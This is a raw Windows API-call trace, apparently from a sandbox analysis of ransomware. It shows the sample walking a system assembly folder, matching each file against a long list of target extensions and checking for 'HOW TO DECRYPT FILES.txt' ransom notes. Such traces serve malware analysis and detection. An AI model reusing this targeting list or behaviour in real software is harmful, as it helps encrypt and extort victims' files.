[0100.906] lstrlenA (lpString="*.mpeg") returned 6 [0100.906] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.config", pszSpec="*.djvu") returned 0 [0100.906] lstrlenA (lpString="*.djvu") returned 6 [0100.906] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.config", pszSpec="*.tiff") returned 0 [0100.906] lstrlenA (lpString="*.tiff") returned 6 [0100.906] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.config", pszSpec="*.backup") returned 0 [0100.906] lstrlenA (lpString="*.backup") returned 8 [0100.906] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.config", pszSpec="*.pdf") returned 0 [0100.906] lstrlenA (lpString="*.pdf") returned 5 [0100.906] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.config", pszSpec="*.cert") returned 0 [0100.906] lstrlenA (lpString="*.cert") returned 6 [0100.906] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.config", pszSpec="*.docm") returned 0 [0100.906] lstrlenA (lpString="*.docm") returned 6 [0100.906] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.config", pszSpec="*.xlsm") returned 0 [0100.906] lstrlenA (lpString="*.xlsm") returned 6 [0100.906] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.config", pszSpec="*.dwg") returned 0 [0100.907] lstrlenA (lpString="*.dwg") returned 5 [0100.907] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.config", pszSpec="*.nd") returned 0 [0100.907] lstrlenA (lpString="*.nd") returned 4 [0100.907] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.config", pszSpec="*.tlg") returned 0 [0100.907] lstrlenA (lpString="*.tlg") returned 5 [0100.907] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.config", pszSpec="*.lgb") returned 0 [0100.907] lstrlenA (lpString="*.lgb") returned 5 [0100.907] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.config", pszSpec="*.mov") returned 0 [0100.907] lstrlenA (lpString="*.mov") returned 5 [0100.907] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.config", pszSpec="*.xdw") returned 0 [0100.907] lstrlenA (lpString="*.xdw") returned 5 [0100.907] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.config", pszSpec="*.ods") returned 0 [0100.907] lstrlenA (lpString="*.ods") returned 5 [0100.907] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.config", pszSpec="*.wav") returned 0 [0100.907] lstrlenA (lpString="*.wav") returned 5 [0100.907] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.config", pszSpec="*.mp3") returned 0 [0100.907] lstrlenA (lpString="*.mp3") returned 5 [0100.907] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.config", pszSpec="*.aiff") returned 0 [0100.907] lstrlenA (lpString="*.aiff") returned 6 [0100.907] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.config", pszSpec="*.flac") returned 0 [0100.907] lstrlenA (lpString="*.flac") returned 6 [0100.908] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.config", pszSpec="*.m4a") returned 0 [0100.908] lstrlenA (lpString="*.m4a") returned 5 [0100.908] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.config", pszSpec="*.csv") returned 0 [0100.908] lstrlenA (lpString="*.csv") returned 5 [0100.908] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x853133a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x853133a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x853133a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="Policy.11.0.Microsoft.Office.Interop.VisOcx.dll", cAlternateFileName="POLICY~1.DLL")) returned 1 [0100.908] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0100.908] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Policy.11.0.Microsoft.Office.Interop.VisOcx.dll") returned -1 [0100.908] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Policy.11.0.Microsoft.Office.Interop.VisOcx.dll") returned -1 [0100.908] lstrcmpiA (lpString1="", lpString2="Policy.11.0.Microsoft.Office.Interop.VisOcx.dll") returned -1 [0100.908] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.config") returned="Policy.11.0.Microsoft.Office.Interop.VisOcx.config" [0100.908] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\" [0100.908] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\") returned="" [0100.908] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" [0100.908] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.office.interop.visocx\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt")) returned 0x20 [0100.908] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\", lpString2="Policy.11.0.Microsoft.Office.Interop.VisOcx.dll" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.dll") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.dll" [0100.908] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.dll", pszSpec="*.ems") returned 0 [0100.908] lstrlenA (lpString="*.ems") returned 5 [0100.908] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.dll", pszSpec="*.db") returned 0 [0100.908] lstrlenA (lpString="*.db") returned 4 [0100.908] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.dll", pszSpec="*.dbf") returned 0 [0100.909] lstrlenA (lpString="*.dbf") returned 5 [0100.909] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.dll", pszSpec="*.myox") returned 0 [0100.909] lstrlenA (lpString="*.myox") returned 6 [0100.909] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.dll", pszSpec="*.myo") returned 0 [0100.909] lstrlenA (lpString="*.myo") returned 5 [0100.909] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.dll", pszSpec="*.qbw") returned 0 [0100.909] lstrlenA (lpString="*.qbw") returned 5 [0100.909] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.dll", pszSpec="*.qbb") returned 0 [0100.909] lstrlenA (lpString="*.qbb") returned 5 [0100.909] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.dll", pszSpec="*.qbm") returned 0 [0100.909] lstrlenA (lpString="*.qbm") returned 5 [0100.909] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.dll", pszSpec="*.qbo") returned 0 [0100.909] lstrlenA (lpString="*.qbo") returned 5 [0100.909] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.dll", pszSpec="*.qbx") returned 0 [0100.909] lstrlenA (lpString="*.qbx") returned 5 [0100.909] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.dll", pszSpec="*.qba") returned 0 [0100.909] lstrlenA (lpString="*.qba") returned 5 [0100.909] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.dll", pszSpec="*.qby") returned 0 [0100.909] lstrlenA (lpString="*.qby") returned 5 [0100.909] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.dll", pszSpec="*.qbj") returned 0 [0100.909] lstrlenA (lpString="*.qbj") returned 5 [0100.909] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.dll", pszSpec="*.ofx") returned 0 [0100.909] lstrlenA (lpString="*.ofx") returned 5 [0100.910] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.dll", pszSpec="*.qif") returned 0 [0100.910] lstrlenA (lpString="*.qif") returned 5 [0100.910] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.dll", pszSpec="*.mye") returned 0 [0100.910] lstrlenA (lpString="*.mye") returned 5 [0100.910] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.dll", pszSpec="*.mbox") returned 0 [0100.910] lstrlenA (lpString="*.mbox") returned 6 [0100.910] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.dll", pszSpec="*.eml") returned 0 [0100.910] lstrlenA (lpString="*.eml") returned 5 [0100.910] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.dll", pszSpec="*.pst") returned 0 [0100.910] lstrlenA (lpString="*.pst") returned 5 [0100.910] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.dll", pszSpec="*.ost") returned 0 [0100.910] lstrlenA (lpString="*.ost") returned 5 [0100.910] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.dll", pszSpec="*.idx") returned 0 [0100.910] lstrlenA (lpString="*.idx") returned 5 [0100.910] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.dll", pszSpec="*.dbx") returned 0 [0100.910] lstrlenA (lpString="*.dbx") returned 5 [0100.910] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.dll", pszSpec="*.sql") returned 0 [0100.910] lstrlenA (lpString="*.sql") returned 5 [0100.910] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.dll", pszSpec="*.mdb") returned 0 [0100.910] lstrlenA (lpString="*.mdb") returned 5 [0100.910] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.dll", pszSpec="*.fdb") returned 0 [0100.910] lstrlenA (lpString="*.fdb") returned 5 [0100.911] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.dll", pszSpec="*.wab") returned 0 [0100.911] lstrlenA (lpString="*.wab") returned 5 [0100.911] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.dll", pszSpec="*.dat") returned 0 [0100.911] lstrlenA (lpString="*.dat") returned 5 [0100.911] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.dll", pszSpec="*.txt") returned 0 [0100.911] lstrlenA (lpString="*.txt") returned 5 [0100.911] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.dll", pszSpec="*.jpeg") returned 0 [0100.911] lstrlenA (lpString="*.jpeg") returned 6 [0100.911] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.dll", pszSpec="*.jpg") returned 0 [0100.911] lstrlenA (lpString="*.jpg") returned 5 [0100.911] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.dll", pszSpec="*.png") returned 0 [0100.911] lstrlenA (lpString="*.png") returned 5 [0100.911] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.dll", pszSpec="*.php") returned 0 [0100.911] lstrlenA (lpString="*.php") returned 5 [0100.911] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.dll", pszSpec="*.cs") returned 0 [0100.911] lstrlenA (lpString="*.cs") returned 4 [0100.911] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.dll", pszSpec="*.cpp") returned 0 [0100.911] lstrlenA (lpString="*.cpp") returned 5 [0100.911] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.dll", pszSpec="*.rar") returned 0 [0100.911] lstrlenA (lpString="*.rar") returned 5 [0100.911] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.dll", pszSpec="*.zip") returned 0 [0100.911] lstrlenA (lpString="*.zip") returned 5 [0100.911] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.dll", pszSpec="*.html") returned 0 [0100.911] lstrlenA (lpString="*.html") returned 6 [0100.912] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.dll", pszSpec="*.htm") returned 0 [0100.912] lstrlenA (lpString="*.htm") returned 5 [0100.912] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.dll", pszSpec="*.xlsx") returned 0 [0100.912] lstrlenA (lpString="*.xlsx") returned 6 [0100.912] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.dll", pszSpec="*.xls") returned 0 [0100.912] lstrlenA (lpString="*.xls") returned 5 [0100.912] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.dll", pszSpec="*.mp4") returned 0 [0100.912] lstrlenA (lpString="*.mp4") returned 5 [0100.912] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.dll", pszSpec="*.ppt") returned 0 [0100.912] lstrlenA (lpString="*.ppt") returned 5 [0100.912] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.dll", pszSpec="*.pptx") returned 0 [0100.912] lstrlenA (lpString="*.pptx") returned 6 [0100.912] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.dll", pszSpec="*.doc") returned 0 [0100.912] lstrlenA (lpString="*.doc") returned 5 [0100.912] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.dll", pszSpec="*.dot") returned 0 [0100.912] lstrlenA (lpString="*.dot") returned 5 [0100.912] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.dll", pszSpec="*.docx") returned 0 [0100.912] lstrlenA (lpString="*.docx") returned 6 [0100.912] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.dll", pszSpec="*.7z") returned 0 [0100.912] lstrlenA (lpString="*.7z") returned 4 [0100.912] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.dll", pszSpec="*.tar") returned 0 [0100.912] lstrlenA (lpString="*.tar") returned 5 [0100.913] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.dll", pszSpec="*.bz2") returned 0 [0100.913] lstrlenA (lpString="*.bz2") returned 5 [0100.913] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.dll", pszSpec="*.gz") returned 0 [0100.913] lstrlenA (lpString="*.gz") returned 4 [0100.913] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.dll", pszSpec="*.mkv") returned 0 [0100.913] lstrlenA (lpString="*.mkv") returned 5 [0100.913] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.dll", pszSpec="*.eml") returned 0 [0100.913] lstrlenA (lpString="*.eml") returned 5 [0100.913] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.dll", pszSpec="*.msg") returned 0 [0100.913] lstrlenA (lpString="*.msg") returned 5 [0100.913] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.dll", pszSpec="*.edb") returned 0 [0100.913] lstrlenA (lpString="*.edb") returned 5 [0100.913] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.dll", pszSpec="*.accdb") returned 0 [0100.913] lstrlenA (lpString="*.accdb") returned 7 [0100.913] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.dll", pszSpec="*.odb") returned 0 [0100.913] lstrlenA (lpString="*.odb") returned 5 [0100.914] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.dll", pszSpec="*.java") returned 0 [0100.914] lstrlenA (lpString="*.java") returned 6 [0100.914] 